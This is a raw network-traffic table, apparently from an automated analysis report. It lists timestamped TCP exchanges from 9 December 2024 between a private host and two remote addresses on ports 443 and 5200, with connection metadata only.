Dec 9, 2024 07:37:33.265186071 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.265242100 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.265258074 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.265296936 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.271688938 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.271706104 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.271765947 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.271781921 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.271819115 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.343329906 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.343348026 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.343403101 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.343422890 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.343461990 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.348236084 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.348257065 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.348293066 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.348306894 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.348366022 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.348409891 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.362471104 CET	49740	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.362508059 CET	443	49740	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.362561941 CET	49740	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.363679886 CET	49740	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.363691092 CET	443	49740	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.435421944 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.435436010 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.435503006 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.435523033 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.435560942 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.440216064 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.440231085 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.440284014 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.440296888 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.440337896 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.446325064 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.446338892 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.446383953 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.446397066 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.446425915 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.446440935 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.452487946 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.452502966 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.452560902 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.452577114 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.452620029 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.457833052 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.457848072 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.457886934 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.457901001 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.457926035 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.457952976 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.464345932 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.464360952 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.464421034 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.464435101 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.464473963 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.535717964 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.535736084 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.535975933 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.536004066 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.536050081 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.540760994 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.540787935 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.540869951 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.540880919 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.540921926 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.627769947 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.627791882 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.627989054 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.628001928 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.628046036 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.632554054 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.632570028 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.632627010 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.632636070 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.632678032 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.638623953 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.638639927 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.638699055 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.638706923 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.638747931 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.644857883 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.644874096 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.644928932 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.644937992 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.644973993 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.650222063 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.650238991 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.650312901 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.650321007 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.650367975 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.656702042 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.656717062 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.656781912 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.656790018 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.656829119 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.709886074 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:33.710760117 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:33.727873087 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.727890968 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.727957010 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.727974892 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.728018045 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.732906103 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.732923031 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.732984066 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.732990980 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.733031034 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.820054054 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.820071936 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.820161104 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.820172071 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.820214033 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.824800968 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.824817896 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.824879885 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.824887037 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.824924946 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.830070972 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:33.830127954 CET	49739	5200	192.168.2.4	185.157.162.216
Dec 9, 2024 07:37:33.830974102 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.830993891 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.831047058 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.831054926 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.831094027 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.837049961 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.837066889 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.837116957 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.837125063 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.837167025 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.842385054 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.842401981 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.842458963 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.842467070 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.842504978 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.848912001 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.848927021 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.848985910 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.848992109 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.849026918 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.920337915 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.920353889 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.920418024 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.920440912 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.920454025 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.920605898 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.925254107 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.925268888 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.925335884 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.925348997 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:33.925384998 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:33.949359894 CET	5200	49739	185.157.162.216	192.168.2.4
Dec 9, 2024 07:37:34.012238026 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.012254000 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.012346029 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.012363911 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.012406111 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.017674923 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.017712116 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.017772913 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.017784119 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.017822981 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.023051977 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.023071051 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.023133993 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.023148060 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.023191929 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.029206991 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.029226065 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.029278040 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.029287100 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.029310942 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.029329062 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.035264969 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.035279989 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.035358906 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.035367012 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.035408020 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.041048050 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.041068077 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.041127920 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.041136026 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.041177034 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.112638950 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.112656116 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.112742901 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.112755060 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.112799883 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.117455006 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.117471933 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.117527008 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.117533922 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.117573023 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.204480886 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.204500914 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.204588890 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.204601049 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.204638958 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.209546089 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.209563971 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.209624052 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.209630966 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.209667921 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.215711117 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.215727091 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.215792894 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.215801001 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.215837955 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.221899986 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.221918106 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.221971035 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.221981049 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.222021103 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.227195024 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.227210045 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.227272987 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.227281094 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.227332115 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.233654976 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.233669996 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.233741045 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.233748913 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.233788013 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.304688931 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.304707050 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.304789066 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.304801941 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.304840088 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.309767008 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.309783936 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.309820890 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.309828997 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.309849024 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.309871912 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.396698952 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.396714926 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.396791935 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.396810055 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.396848917 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.402192116 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.402206898 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.402256966 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.402265072 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.402302027 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.408354998 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.408370018 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.408420086 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.408427954 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.408463955 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.413760900 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.413775921 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.413831949 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.413841009 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.413877010 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.419995070 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.420011044 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.420064926 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.420073032 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.420104027 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.425620079 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.425640106 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.425678015 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.425685883 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.425704002 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.425724983 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.511048079 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.511065960 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.511117935 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.511141062 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.511164904 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.511177063 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.516693115 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.516709089 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.516778946 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.516788006 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.516827106 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.589361906 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.589385986 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.589498043 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.589524984 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.589567900 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.594893932 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.594911098 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.594993114 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.595001936 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.595035076 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.600326061 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.600339890 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.600411892 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.600420952 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.600486994 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.606506109 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.606520891 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.606570005 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.606579065 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.606615067 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.612509012 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.612524033 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.612579107 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.612587929 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.612623930 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.618199110 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.618215084 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.618271112 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.618279934 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.618319035 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.703175068 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.703192949 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.703299046 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.703320980 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.703361034 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.708594084 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.708611012 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.708673000 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.708681107 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.708717108 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.781673908 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.781691074 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.781739950 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.781755924 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.781790972 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.781810045 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.787096024 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.787111998 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.787158966 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.787167072 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.787194967 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.787209034 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.792540073 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.792555094 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.792613029 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.792623997 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.792659998 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.798472881 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.798487902 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.798533916 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.798554897 CET	443	49738	154.216.20.243	192.168.2.4
Dec 9, 2024 07:37:34.798569918 CET	49738	443	192.168.2.4	154.216.20.243
Dec 9, 2024 07:37:34.798592091 CET	49738	443	192.168.2.4	154.216.20.243
